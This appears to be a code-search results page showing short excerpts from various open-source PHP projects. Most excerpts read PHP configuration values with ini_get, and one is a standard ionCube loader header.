66		// This method is preferred over ob_gzhandler
                    
67		if( php_version_at_least( '5.2.10' ) && ini_get( 'output_handler' ) == '' && function_exists( 'ini_set' ) ) {
                    
68			ini_set( 'zlib.output_compression', true );
                    
74			// disable compression when using IIS because of issue #2953. 
                    
75			// For windows compression, use zlib.output_compression in php.ini or a later version of php
                    
76			return false;
                    
                
default.php https://gitlab.com/Mansikka/effigy-pro | PHP | 318 lines
                    
60					      <td>1.0.1</td>
                    
61					      <td><?php echo JText::_('K2_PHP_CLASS'); ?></td>
                    
62					      <td><?php echo JText::_('K2_BSD'); ?></td>
                    
259			          <td><strong>Finder - K2</strong></td>
                    
260			          <td><?php echo (JFile::exists(JPATH_PLUGINS.DS.'finder'.DS.'k2.php') || JFile::exists(JPATH_PLUGINS.DS.'finder'.DS.'k2'.DS.'k2.php'))?JText::_('K2_INSTALLED'):JText::_('K2_NOT_INSTALLED'); ?> - <?php echo (JPluginHelper::isEnabled('finder', 'k2'))?JText::_('K2_ENABLED'):JText::_('K2_DISABLED'); ?></td>
                    
261			        </tr>
                    
264			          <td><strong>Search - K2</strong></td>
                    
265			          <td><?php echo (JFile::exists(JPATH_PLUGINS.DS.'search'.DS.'k2.php') || JFile::exists(JPATH_PLUGINS.DS.'search'.DS.'k2'.DS.'k2.php'))?JText::_('K2_INSTALLED'):JText::_('K2_NOT_INSTALLED'); ?> - <?php echo (JPluginHelper::isEnabled('search', 'k2'))?JText::_('K2_ENABLED'):JText::_('K2_DISABLED'); ?></td>
                    
266			        </tr>
                    
268			          <td><strong>System - K2</strong></td>
                    
269			          <td><?php echo (JFile::exists(JPATH_PLUGINS.DS.'system'.DS.'k2.php') || JFile::exists(JPATH_PLUGINS.DS.'system'.DS.'k2'.DS.'k2.php'))?JText::_('K2_INSTALLED'):JText::_('K2_NOT_INSTALLED'); ?> - <?php echo (JPluginHelper::isEnabled('system', 'k2'))?JText::_('K2_ENABLED'):JText::_('K2_DISABLED'); ?></td>
                    
270			        </tr>
                    
272			          <td><strong>User - K2</strong></td>
                    
273			          <td><?php echo (JFile::exists(JPATH_PLUGINS.DS.'user'.DS.'k2.php') || JFile::exists(JPATH_PLUGINS.DS.'user'.DS.'k2'.DS.'k2.php'))?JText::_('K2_INSTALLED'):JText::_('K2_NOT_INSTALLED'); ?> - <?php echo (JPluginHelper::isEnabled('user', 'k2'))?JText::_('K2_ENABLED'):JText::_('K2_DISABLED'); ?></td>
                    
274			        </tr>
                    
                
self_test.php https://gitlab.com/GeneralistDev/danielparker.com.au-wordpress | PHP | 321 lines
                    
32            <?php _e('PHP Version:', 'w3-total-cache'); ?>
                    
33            <code><?php echo PHP_VERSION; ?></code>;
                    
34        </li>
                    
170            <?php _e('zlib output compression:', 'w3-total-cache'); ?>
                    
171            <?php if (w3_to_boolean(ini_get('zlib.output_compression'))): ?>
                    
172            <code><?php _e('On', 'w3-total-cache'); ?></code>
                    
272            <?php if (!empty($uploads_dir['error'])): ?>
                    
273            <code><?php _e('Error:', 'w3-total-cache'); ?> <?php echo htmlspecialchars($uploads_dir['error']); ?></code>
                    
274            <?php elseif (!w3_is_writable_dir($uploads_dir['path'])): ?>
                    
292            <?php if (defined('WP_CACHE')): ?>
                    
293            <code><?php _e('Defined', 'w3-total-cache'); ?> (<?php echo (WP_CACHE ? 'true' : 'false'); ?>)</code>
                    
294            <?php else: ?>
                    
310            <?php if (w3_is_network()): ?>
                    
311            <code><?php _e('Yes', 'w3-total-cache'); ?> (<?php echo (w3_is_subdomain_install() ? 'subdomain' : 'subdir'); ?>)</code>
                    
312            <?php else: ?>
                    
                
Facebook_oauth.php https://github.com/socialigniter/facebook.git | PHP | 329 lines
                    
1<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); 
                    
2
                    
116  		// Makes sure server supports cURL request
                    
117		if ((ini_get('open_basedir') == '') && (ini_get('safe_mode') == 'Off' || !ini_get('safe_mode')))
                    
118		{
                    
291 *  OAuthUtils
                    
292 *  Copied and adapted from http://oauth.googlecode.com/svn/code/php/
                    
293 */
                    
                
magmi_remoteagent.php https://gitlab.com/myurd/magmi-git | PHP | 498 lines
                    
1<?php
                    
2// REMOTE AGENT IS A HTTP API ENABLING REMOTE FILE SAVING AND OTHER EXECUTION PROXYING
                    
20        $is_disabled = array();
                    
21        $disabled = explode(',', ini_get('disable_functions'));
                    
22        foreach ($disabled as $disableFunction) {
                    
150        curl_setopt($context, CURLOPT_FAILONERROR, true);
                    
151        if (!ini_get('safe_mode')) {
                    
152            curl_setopt($context, CURLOPT_FOLLOWLOCATION, 1);
                    
                
ConfigurationTest.php https://gitlab.com/karora/awl | PHP | 335 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * PHPUnit
                    
4 *
                    
4 *
                    
5 * Copyright (c) 2001-2012, Sebastian Bergmann <sebastian@phpunit.de>.
                    
6 * All rights reserved.
                    
36 *
                    
37 * @package    PHPUnit
                    
38 * @author     Sebastian Bergmann <sebastian@phpunit.de>
                    
38 * @author     Sebastian Bergmann <sebastian@phpunit.de>
                    
39 * @copyright  2001-2012 Sebastian Bergmann <sebastian@phpunit.de>
                    
40 * @license    http://www.opensource.org/licenses/BSD-3-Clause  The BSD 3-Clause License
                    
40 * @license    http://www.opensource.org/licenses/BSD-3-Clause  The BSD 3-Clause License
                    
41 * @link       http://www.phpunit.de/
                    
42 * @since      File available since Release 3.3.0
                    
                
Db.class.php https://gitlab.com/Red54/thinkphp | PHP | 193 lines
                    
1<?php
                    
2
                    
3// +----------------------------------------------------------------------
                    
4// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]
                    
5// +----------------------------------------------------------------------
                    
5// +----------------------------------------------------------------------
                    
6// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.
                    
7// +----------------------------------------------------------------------
                    
48    {
                    
49        $this->lifeTime     = C('SESSION_EXPIRE') ? C('SESSION_EXPIRE') : ini_get('session.gc_maxlifetime');
                    
50        $this->sessionTable = C('SESSION_TABLE') ? C('SESSION_TABLE') : C("DB_PREFIX") . "session";
                    
                
Data.php https://bitbucket.org/tecsecret/central-tecsecret.git | PHP | 82 lines
                    
1<?php //ICB0 71:0                                                             ?><?php //004fb
                    
2if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo("Site error: the ".(php_sapi_name()=='cli'?'ionCube':'<a href="http://www.ioncube.com">ionCube</a>')." PHP Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\n\nPlease visit ".(php_sapi_name()=='cli'?'get-loader.ioncube.com':'<a href="http://get-loader.ioncube.com">get-loader.ioncube.com</a>')." for install assistance.\n\n");exit(199);
                    
3?>
                    
                
init_header.php http://daocart.googlecode.com/svn/trunk/ | PHP | 142 lines
                    
1<?php
                    
2/**
                    
8 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
                    
9 * @version $Id: init_header.php 6990 2007-09-12 21:45:57Z drbyte $
                    
10 */
                    
33/**
                    
34 * should a message be displayed if session.autostart is on in php.ini
                    
35 */
                    
46if (WARN_INSTALL_EXISTENCE == 'true') {
                    
47  $check_path = realpath(dirname(basename($PHP_SELF)) . '/zc_install');
                    
48  if (is_dir($check_path)) {
                    
52
                    
53// check if the configure.php file is writeable
                    
54if (WARN_CONFIG_WRITEABLE == 'true') {
                    
54if (WARN_CONFIG_WRITEABLE == 'true') {
                    
55  $check_path = realpath(dirname(basename($PHP_SELF)) . '/includes/configure.php');
                    
56  if (file_exists($check_path) && is__writeable($check_path)) {
                    
                
grabber.php https://gitlab.com/alexprowars/bitrix | PHP | 381 lines
                    
1<?php
                    
2namespace Bitrix\Translate\Controller\Asset;
                    
373				\CUtil::unformat('32M'),
                    
374				\CUtil::unformat(ini_get('post_max_size')),
                    
375				\CUtil::unformat(ini_get('upload_max_filesize'))
                    
                
SaeMC.class.php https://gitlab.com/cbdfocus/lukas.git | PHP | 120 lines
                    
1<?php
                    
2
                    
97                    if(C('OUTPUT_ENCODE')){
                    
98                        $zlib = ini_get('zlib.output_compression');
                    
99                        if(empty($zlib)) ob_start('ob_gzhandler');
                    
                
check.php git://github.com/pmjones/php-framework-benchmarks.git | PHP | 105 lines
                    
25echo_title("Mandatory requirements");
                    
26check(version_compare(phpversion(), '5.3.2', '>='), sprintf('Checking that PHP version is at least 5.3.2 (%s installed)', phpversion()), 'Install PHP 5.3.2 or newer (current version is '.phpversion(), true);
                    
27check(ini_get('date.timezone'), 'Checking that the "date.timezone" setting is set', 'Set the "date.timezone" setting in php.ini (like Europe/Paris)', true);
                    
34echo_title("Optional checks");
                    
35check(class_exists('DomDocument'), 'Checking that the PHP-XML module is installed', 'Install and enable the php-xml module', false);
                    
36check(defined('LIBXML_COMPACT'), 'Checking that the libxml version is at least 2.6.21', 'Upgrade your php-xml module with a newer libxml', false);
                    
70;
                    
71check($accelerator, 'Checking that a PHP accelerator is installed', 'Install a PHP accelerator like APC (highly recommended)', false);
                    
72
                    
72
                    
73check(!ini_get('short_open_tag'), 'Checking that php.ini has short_open_tag set to off', 'Set short_open_tag to off in php.ini', false);
                    
74check(!ini_get('magic_quotes_gpc'), 'Checking that php.ini has magic_quotes_gpc set to off', 'Set magic_quotes_gpc to off in php.ini', false);
                    
75check(!ini_get('register_globals'), 'Checking that php.ini has register_globals set to off', 'Set register_globals to off in php.ini', false);
                    
76check(!ini_get('session.auto_start'), 'Checking that php.ini has session.auto_start set to off', 'Set session.auto_start to off in php.ini', false);
                    
77
                    
                
 

Source

Language